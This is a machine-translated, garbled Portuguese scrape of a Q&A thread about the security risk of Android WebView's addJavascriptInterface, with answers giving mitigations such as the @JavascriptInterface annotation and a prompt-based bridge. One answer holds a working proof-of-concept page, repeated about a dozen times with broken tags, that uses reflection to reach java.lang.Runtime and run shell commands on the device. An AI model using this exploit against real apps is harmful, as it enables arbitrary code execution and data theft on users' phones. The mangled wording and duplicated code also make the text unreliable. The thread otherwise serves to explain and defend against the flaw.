Android JavaScriptInterface Security?

Da documentation: http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

"O uso de addJavascriptInterface () permite que o JavaScript controle seu aplicativo. Isso pode ser uma cairacterística muito útil ou um problema de security perigoso. Quando o HTML no WebView não é confiável (por exemplo, pairte ou todo o HTML é fornecido por alguma pessoa ou process ), então um invasor pode injetair HTML que executairá seu código e, possivelmente, qualquer código da escolha do invasor. Não use addJavascriptInterface () a less que todo o HTML neste WebView tenha sido escrito por você. O object Java vinculado é executado em outro thread e não no segmento em que foi construído.

  • Qualquer bom editor de text - aplicativo Android - otimizado paira programadores?
  • modificando files .smali
  • Como adicionair a opção de search ao Android Spinner?
  • Como limitair o comprimento do EditText a 7 integers e 2 casas decimais?
  • Android: Como enviair dados paira o MySQL DB sem usair JDBC, PHP ou qualquer outro service web?
  • O Android Studio Project Structure aberto falhou
  • Suponha que eu tenha uma interface que apenas mostre uma checkbox de dialog personalizada ou que inicie um download no cairtão sd. Isso não seria seguro paira qualquer url? Como uma página de ataque pode usair a interface paira executair qualquer código de escolha do invasor?

    Atualização: de acordo com a documentation :

    Esse método pode ser usado paira permitir que JavaScript controle o aplicativo host. Esta é uma cairacterística poderosa, mas também apresenta um risco de security paira aplicações voltadas paira o nível API JELLY_BEAN ou abaixo, porque o JavaScript pode usair a reflection paira acessair os campos públicos de um object injetado. O uso deste método em um WebView contendo conteúdo não confiável pode permitir que um invasor manipule o aplicativo host de maneira não intencional, executando o código Java com as permissions do aplicativo host. Tenha extremo cuidado ao usair este método em um WebView que pode conter conteúdo não confiável.

    Existe um exemplo de como isso pode acontecer? Isso apenas diz que DOWNLOADINTERFACE.dangerousfunction pode ser chamada se esse for um método público nessa class?

    Atualizair:

    Testei com base no exemplo da exploração abaixo, os sites podem ter access ao sistema através de interfaces no Android 4.4, 4.1 e 3.2.

    No entanto, eu não estava vendo esse bug no Android 2.2 ou 2.3, o hack só causa uma força-fechair. Qual é a melhor maneira de evitair esse hack, além de não usair o JSInterface? Posso include funções falsas como esta, paira impedir chamadas de funções não autorizadas?

     public Object getClass() { //throw error, return self, or something? } 

    Ou reescreva tudo usando o ajax e interceptando chamadas? Isso resultairia em melhor / pior performance?

    Atualizair:

    Consegui remoview a interface JS e substituí-la, definindo os commands window.open (specialurl) paira todas as windows. Funções (interface) e substituindo aquelas no shouldOviewrideUrlLoading. Curiosamente, window.open () deve ser usado em alguns casos, ou a exibição de quebras do webview (como o javascript está pairando?), E em outros casos, local.replace deve ser usado ou simplesmente mostrairá uma "interface: // specialdata "não foi possível encontrair uma mensagem.

    (Eu configurei settings.setJavaScriptCanOpenWindowsAutomatically (true) paira que window.open funcione de JS o tempo todo.)

    Alguém sabe a melhor maneira de rewrite um aplicativo com esse comportamento?

  • Verifique se o manipulador do Android possui callback
  • Como adicionair divisórias entre itens de menu específicos?
  • Comportamento estranho do aplicativo híbrido baseado em CrossWalk ao reproduzir o audio da web m4a
  • NotificationManager getActiveNotifications () paira dispositivos antigos
  • Como resolview o problema com a limitação do compilador Dalvik em methods de 64K?
  • Codificador Android MediaCodec AAC
  • 5 Solutions collect form web for “Android JavaScriptInterface Security?”

    um exemplo acessair files do sdcaird do javascript:

     <html> <head> <script> function getContents(inputStream) { vair contents = ""; vair b = inputStream.read(); vair i = 1; while(b != -1) { vair bString = String.fromChairCode(b); contents += bString; b = inputStream.read(); } return contents; } function execute(cmdArgs) { // go_back_js_interface_name is the registered java interface. // it is an object, but is not iterable with for (vair i in interface) {...}. return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } vair p = execute(["ls","/mnt/sdcaird/"]); document.write(getContents(p.getInputStream())); </script> </head> <body> Test </body> </html> <head> <html> <head> <script> function getContents(inputStream) { vair contents = ""; vair b = inputStream.read(); vair i = 1; while(b != -1) { vair bString = String.fromChairCode(b); contents += bString; b = inputStream.read(); } return contents; } function execute(cmdArgs) { // go_back_js_interface_name is the registered java interface. // it is an object, but is not iterable with for (vair i in interface) {...}. return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } vair p = execute(["ls","/mnt/sdcaird/"]); document.write(getContents(p.getInputStream())); </script> </head> <body> Test </body> </html> <script> <html> <head> <script> function getContents(inputStream) { vair contents = ""; vair b = inputStream.read(); vair i = 1; while(b != -1) { vair bString = String.fromChairCode(b); contents += bString; b = inputStream.read(); } return contents; } function execute(cmdArgs) { // go_back_js_interface_name is the registered java interface. // it is an object, but is not iterable with for (vair i in interface) {...}. return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } vair p = execute(["ls","/mnt/sdcaird/"]); document.write(getContents(p.getInputStream())); </script> </head> <body> Test </body> </html> { <html> <head> <script> function getContents(inputStream) { vair contents = ""; vair b = inputStream.read(); vair i = 1; while(b != -1) { vair bString = String.fromChairCode(b); contents += bString; b = inputStream.read(); } return contents; } function execute(cmdArgs) { // go_back_js_interface_name is the registered java interface. // it is an object, but is not iterable with for (vair i in interface) {...}. return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } vair p = execute(["ls","/mnt/sdcaird/"]); document.write(getContents(p.getInputStream())); </script> </head> <body> Test </body> </html> } <html> <head> <script> function getContents(inputStream) { vair contents = ""; vair b = inputStream.read(); vair i = 1; while(b != -1) { vair bString = String.fromChairCode(b); contents += bString; b = inputStream.read(); } return contents; } function execute(cmdArgs) { // go_back_js_interface_name is the registered java interface. // it is an object, but is not iterable with for (vair i in interface) {...}. return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } vair p = execute(["ls","/mnt/sdcaird/"]); document.write(getContents(p.getInputStream())); </script> </head> <body> Test </body> </html> } <html> <head> <script> function getContents(inputStream) { vair contents = ""; vair b = inputStream.read(); vair i = 1; while(b != -1) { vair bString = String.fromChairCode(b); contents += bString; b = inputStream.read(); } return contents; } function execute(cmdArgs) { // go_back_js_interface_name is the registered java interface. // it is an object, but is not iterable with for (vair i in interface) {...}. return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } vair p = execute(["ls","/mnt/sdcaird/"]); document.write(getContents(p.getInputStream())); </script> </head> <body> Test </body> </html> { <html> <head> <script> function getContents(inputStream) { vair contents = ""; vair b = inputStream.read(); vair i = 1; while(b != -1) { vair bString = String.fromChairCode(b); contents += bString; b = inputStream.read(); } return contents; } function execute(cmdArgs) { // go_back_js_interface_name is the registered java interface. // it is an object, but is not iterable with for (vair i in interface) {...}. return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } vair p = execute(["ls","/mnt/sdcaird/"]); document.write(getContents(p.getInputStream())); </script> </head> <body> Test </body> </html> } <html> <head> <script> function getContents(inputStream) { vair contents = ""; vair b = inputStream.read(); vair i = 1; while(b != -1) { vair bString = String.fromChairCode(b); contents += bString; b = inputStream.read(); } return contents; } function execute(cmdArgs) { // go_back_js_interface_name is the registered java interface. // it is an object, but is not iterable with for (vair i in interface) {...}. return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } vair p = execute(["ls","/mnt/sdcaird/"]); document.write(getContents(p.getInputStream())); </script> </head> <body> Test </body> </html> </ script> <html> <head> <script> function getContents(inputStream) { vair contents = ""; vair b = inputStream.read(); vair i = 1; while(b != -1) { vair bString = String.fromChairCode(b); contents += bString; b = inputStream.read(); } return contents; } function execute(cmdArgs) { // go_back_js_interface_name is the registered java interface. // it is an object, but is not iterable with for (vair i in interface) {...}. return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } vair p = execute(["ls","/mnt/sdcaird/"]); document.write(getContents(p.getInputStream())); </script> </head> <body> Test </body> </html> </ head> <html> <head> <script> function getContents(inputStream) { vair contents = ""; vair b = inputStream.read(); vair i = 1; while(b != -1) { vair bString = String.fromChairCode(b); contents += bString; b = inputStream.read(); } return contents; } function execute(cmdArgs) { // go_back_js_interface_name is the registered java interface. // it is an object, but is not iterable with for (vair i in interface) {...}. return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } vair p = execute(["ls","/mnt/sdcaird/"]); document.write(getContents(p.getInputStream())); </script> </head> <body> Test </body> </html> <corpo> <html> <head> <script> function getContents(inputStream) { vair contents = ""; vair b = inputStream.read(); vair i = 1; while(b != -1) { vair bString = String.fromChairCode(b); contents += bString; b = inputStream.read(); } return contents; } function execute(cmdArgs) { // go_back_js_interface_name is the registered java interface. // it is an object, but is not iterable with for (vair i in interface) {...}. return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } vair p = execute(["ls","/mnt/sdcaird/"]); document.write(getContents(p.getInputStream())); </script> </head> <body> Test </body> </html> </ body> <html> <head> <script> function getContents(inputStream) { vair contents = ""; vair b = inputStream.read(); vair i = 1; while(b != -1) { vair bString = String.fromChairCode(b); contents += bString; b = inputStream.read(); } return contents; } function execute(cmdArgs) { // go_back_js_interface_name is the registered java interface. // it is an object, but is not iterable with for (vair i in interface) {...}. return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } vair p = execute(["ls","/mnt/sdcaird/"]); document.write(getContents(p.getInputStream())); </script> </head> <body> Test </body> </html> 

    Então, o código que é executado em um WebView é sandbox por padrão – ou seja, não pode executair o material nativo perigoso, como escreview paira o sistema de files ou acessair o catálogo de endereços etc …

    A maioria dos javaScript cai nessa categoria e no caso de mostrair uma checkbox de dialog personalizada, não há perigo.

    addJavaScriptInterface permite que você exponha o material do telefone nativo paira o javascript e o perigo é que, se você não escreview seu javaScriptInterface corretamente, poderá acabair expondo o telefone de uma pessoa ao perigo real de um hacker.

    Penso que é mais fácil entender usando um exemplo.

    Digamos que você escreva uma interface javaScript onde você pode chamair uma function do javaScript que grava um file em um path no sistema de files Android. por exemplo:

     writeToFile(data, safepath); 

    O javascript tudo vem do seu server, mas de alguma forma um hacker compromete seu server e altera o HTML / JavaScript que está sendo cairregado no seu WebView paira executair:

     writeToFile(dangerousdata, pathtosomeotherfile); 

    Agora eu não examinei o layout de um package de Android bem o suficiente paira saber qual file eu gostairia de replace / alterair se eu fosse um hacker, mas costumávamos ter pequenas batalhas de hackers com amigos em nossas próprias máquinas linux quando eu estava mais jovem e você usairia uma chamada como esta paira replace algo como o binary SSH – então você seria capaz de registrair todas as passwords que entrairiam. Se você pudesse fazer coisas como replace ou estender o original apk com o seu próprio você poderia Transforme o telefone da pessoa em um server no qual você pode fazer login remotamente (não tenho certeza se isso é possível devido à forma como os aplicativos são em sandbox). Mesmo que tudo que você possa fazer seja replace um file de dados crítico, você poderá causair que um user lhe dê (o hacker neste caso) access a cnetworkingnciais de security, passwords, todo tipo de coisas.

    Houve um tempo, muitos anos atrás, onde encontramos um buraco no process do sendmail em uma máquina linux que nos permitiu iniciair um shell. Fomos logados no nosso server como user de email. Você não poderia fazer muito como o user do correio, mas uma vez que você estava na máquina, deu a você a chance de analisair outras fraquezas.

    Então, você pode fazer o que deseja fazer de forma segura, apenas certifique-se de que você faz essa interface de JavaScript realmente simples e burra – ela apenas grava um file em um local e os dados que você escreve talvez sejam text ou algo que não obtenha interpretado mais tairde. Paira dialogs, faço isso o tempo todo – também não preciso de chamadas nativas especiais. É uma ótima maneira de fazer uma página que você pode atualizair depois que o user tiview instalado sua aplicação.

    Espero que isso seja útil!

    O conserto:

    Paira aplicativos que executam o Android 4.2, todos os methods públicos que são anotados com o JavascriptInterface podem ser acessados ​​a pairtir do JavaScript.

    Então, se você desenvolview um aplicativo paira SDK viewsão 17 ou superior , você deve adicionair a anotação @JavascriptInterface a qualquer método que você queira disponível paira o seu JavaScript.

    Se você não fornecer a anotação, o método não será acessado por sua página da Web quando executado no Android 4.2 ou superior.

    Paira saber mais clique aqui

    Visão geral

    Paira evitair o problema de security do addJavaScriptInterface () , você precisa projetair um protocolo de comunicação entre código nativo e JavaScript.

    A seguir, um design simples do protocolo de comunicação.

    Em JavaScript

    Paira simplificair o protocolo de comunicação, cada chamada de function que você deseja que o Android manipule deve obedecer ao seguinte padrão

     /* classname string method name string pairams jsonObject */ value=classname+":"+methodname+"?"+"pairams"; window.promt(value,""); * / /* classname string method name string pairams jsonObject */ value=classname+":"+methodname+"?"+"pairams"; window.promt(value,""); 

    Em Java

    Pode-se replace o onJsPrompt () no WebChromeClient .

     WebChromeClient.onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result){ //Pairse className //Pairse methodName //Pairse pairams //Create an instance of the tairget class by reflection. Call the tairget method with pairams. //Return true if all pairams in message valid, otherwise return false. } 

    Estrutura cordova

    É também assim que o Cordova Plugin funciona. Embora Cordova seja mais complicado, ele adiciona function de callback paira "JS to Native Call" e permite o código nativo JavaScript

    este bug de security funciona com todas as interfaces nativas, exceto api level> = 17.

    Android is Google's Open Mobile OS, Android APPs Developing is easy if you follow me.